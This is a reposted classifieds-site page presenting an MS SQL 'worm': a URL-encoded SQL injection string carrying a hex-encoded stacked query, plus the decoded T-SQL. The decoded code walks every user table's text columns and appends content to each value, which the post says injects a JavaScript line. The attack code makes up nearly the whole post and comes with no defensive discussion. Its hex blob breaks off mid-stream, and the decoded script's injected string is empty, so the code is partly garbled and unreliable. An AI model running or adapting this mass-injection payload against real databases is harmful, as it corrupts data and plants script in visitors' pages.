您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

一个MS SQL蠕虫代码_MySQL

2024/4/5 1:12:02发布8次查看
by ha0k
以下是十六进制转换后的,解码后的文件在下部,这个语句会在网站各个文件末尾插入一句js 代码。
---------------------------------------------------------------------------------
';declare%20@s%20nvarchar(4000);set%20@s=cast(0x4400450043004c0041005200450020004000540020007600610072006300680061007200280032003500350029002c0040004300200076006100720063006800610072002800320035003500290020004400450043004c0041005200450020005400610062006c0065005f0043007500720073006f007200200043005500520053004f005200200046004f0052002000730065006c00650063007400200061002e006e0061006d0065002c0062002e006e0061006d0065002000660072006f006d0020007300790073006f0062006a006500630074007300200061002c0073007900730063006f006c0075006d006e00730020006200200077006800650072006500200061002e00690064003d0062002e0069006400200061006e006400200061002e00780074007900700065003d00270075002700200061006e0064002000280062002e00780074007900700065003d003900390020006f007200200062002e00780074007900700065003d003300350020006f007200200062002e00780074007900700065003d0032003300310020006f007200200062002e00780074007900700065003d003100as20nvarchar(4000));exec(@s);--
---------------------------------------------------------------------------------
----------------------------------------------------------------------------------
declare @t varchar(255)
declare @c varchar(255)
declare table_cursor cursor for
select [a].[name], [b].[name]
from sysobjects as [a], syscolumns as [b]
where [a].[id] = [b].[id] and
[a].[xtype] = 'u' /* table (user-defined) */ and
([b].[xtype] = 99 /* ntext */ or
[b].[xtype] = 35 /* text */ or
[b].[xtype] = 231 /* sysname */ or
[b].[xtype] = 167 /* varchar */)
open table_cursor
fetch next from table_cursor into @t,@c
while (@@fetch_status = 0)
begin
exec('update [' + @t + '] set [' + @c + '] = rtrim(convert(varchar, [' + @c + '])) + ''''')
fetch next from table_cursor into @t, @c
end
close table_cursor
deallocate table_cursor
--------------------------------------------------------------------------------
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product